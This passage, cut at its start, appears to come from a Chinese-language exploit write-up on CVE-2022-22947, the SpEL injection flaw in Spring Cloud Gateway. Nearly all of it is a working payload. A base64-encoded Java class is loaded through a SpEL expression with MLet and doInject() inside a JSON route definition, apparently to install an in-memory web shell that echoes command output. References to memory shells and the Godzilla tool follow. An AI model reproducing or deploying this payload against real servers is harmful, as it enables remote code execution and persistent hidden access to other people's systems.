mV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGVkAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAQgABAEMAAAAFAAEARABFAAEARgAAAC8AAQABAAAABSq3AAGxAAAAAgBHAAAABgABAAAADgBIAAAADAABAAAABQBJAEoAAAAJAEsATAABAEYAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEcAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEgAAABwAAsAUABWAE0ATgAFAF8ARwBPAFAABgBuADgAUQBOAAcAfQApAFIAUAAIAI8AFwBTAE4ACQAvAHcAVABQAAQAIACMAFUAVgADAA8AnQBXAFgAAQAeAI4AWQBQAAIAsAADAFoAWwABAAMAsgBcAF0AAABeAAAAHgAF/wAgAAQHAF8HAGAHAGEBAAD7AIX4AAVCBwBiAwABAGMAZAACAEYAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBHAAAADgADAAAALgAIADAAGwAxAEgAAAA0AAUAAAAcAEkASgAAAAAAHABlAGYAAQAAABwAZwBoAAIAAAAcAGkAagADAAgAFABrAGwABABtAAAADQMAZQAAAGcAAABpAAAAAQBuAG8AAwBGAAABIwAHAAYAAAB0LMEAIZkAZyzAACFOLbkAIgEAEiO2ACSZAEotuQAiAQASI7YAJToEuwAmWbgAJwa9AChZAxIpU1kEEipTWQUZBFO2ACu2ACwSLbcALhIvtgAwtgAxOgUqKxkFsgAytwAzsacACjoEGQS2ADQrLLkANQIAV7EAAQAMAGAAZAAbAAMARwAAADIADAAAADcABwA4AAwAOgAaADsAJwA8AFYAPgBgAD8AYQBDAGQAQQBmAEIAawBFAHMARgBIAAAASAAHACcAOgBwAF0ABABWAAsAcQBdAAUAZgAFAFoAWwAEAAwAXwByAHMAAwAAAHQASQBKAAAAAAB0AHQAdQABAAAAdABcAFAAAgBeAAAADwAD/ABhBwB2QgcAYvoABgB3AAAABAABABsAbQAAAAkCAHQAAABcAAAAAgB4AHkAAgBGAAAAlAAGAAUAAAA2uwA2WbIANy0ssgA4uAA5twA6OgQZBLkAOwEAsgA8Ej22AD5XKxkEuQA/AgCyAEC5AEECAFexAAAAAgBHAAAAEgAEAAAASgAUAEsAJABMADUATQBIAAAANAAFAAAANgBJAEoAAAAAADYAdAB1AAEAAAA2AHoAXQACAAAANgB7AHwAAwAUACIAfQB+AAQAbQAAAA0DAHQAAAB6AAAAewAAAAEAfwAAAAIAgA=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}", "_genkey_1": "/${path}" } } ], "uri": "http://example.com" }
|

参考:
CVE-2022-22947 SpringCloud GateWay SPEL RCE Echo Response
手把手带你挖掘spring-cloud-gateway新链
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉